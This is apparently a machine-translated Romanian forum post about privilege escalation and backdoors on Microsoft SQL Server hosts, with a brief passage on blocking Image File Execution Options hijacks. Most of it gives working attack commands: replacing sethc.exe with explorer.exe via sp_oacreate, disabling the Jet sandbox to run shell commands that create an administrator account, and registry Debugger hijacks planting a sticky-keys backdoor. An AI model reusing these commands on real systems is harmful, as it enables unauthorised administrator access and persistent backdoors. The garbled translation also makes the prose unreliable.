'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe'; Această instrucțiune copiază sethc.exe în directorul dllcache declară @oo int exec sp_oacreate 'scrip remove ting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\ sethc.exe'; Celelalte două instrucțiuni folosesc sp_oacreate proceduri stocate care trebuie să folosească odsole70.dll fișier, astfel încât supraviețuirea acestui fișier este legată de succesul creării sale. (2), xpsql.cpp: Eroarea 5 de la CreateProcess (linia 737) Această situație este mai complicată și se spune pe Internet EXECUTIVE master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBoxMode','REG_DWORD',0 Select * din OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("utilizator net 123 123 /add")'); Select * din OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); Am verificat sandbox-ul pentru a ridica drepturile asupra acestei chestiuni, dar prin practica mea, această rată de succes este foarte scăzută, deoarece majoritatea serverelor au șters c:\windows\system32\ias\ias.mdb. Apoi poți încerca deturnarea imaginii, desigur, deturnarea imaginii este de asemenea condiționată, 1 există xp_regwrite această procedură stocată 2 este 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',' Debugger' nu este șters Poți mai întâi să întrebi dacă tasta fixă a registrului a fost deturnată Șec Teacher.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger' Dacă promptul nu găsește problema, demonstrația este ștearsă, nu există nicio care, dacă este solicitat, sethc.exe executa comanda sql Maestru executiv... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Depanator', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' După ce se conectează la terminal de 5 ori și schimbă viteza, merge direct la desktop și apoi îl adaugă manual.
Registrul modifică portul terminalului
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ Wds \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,
În ceea ce privește prevenirea deturnării imaginii, aceasta se realizează în principal prin următoarele metode:
★ Legea restricționării permisiunilor
Dacă utilizatorul nu mai are acces la cheia de registru, nu poate modifica aceste lucruri. Deschide Editor de Registre și mergi la HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options, selectează acest element, dă click dreapta - > permisiuni - > avansate și scade permisiunile administratorilor și utilizatorilor sistemului (aici trebuie doar să anulezi operația de scriere).
★ Metoda de tăiere rapidă a cânepei dezordonate cu cuțitul
Deschide editorul registrului și mergi la bar
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opțiuni de execuție a fișierului Image
Problema poate fi rezolvată prin ștergerea directă a elementului Opțiuni de Execuție a Fișierului Imagine.
Comanda SQL deturnează ușa din spate a tastei lipicioase de registru xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger','REG_SZ','C:\WINDOWS\system32\kdsn.exe'
Descărcare software:Turiști, dacă vreți să vedeți conținutul ascuns al acestei postări, vă rog Răspunde
|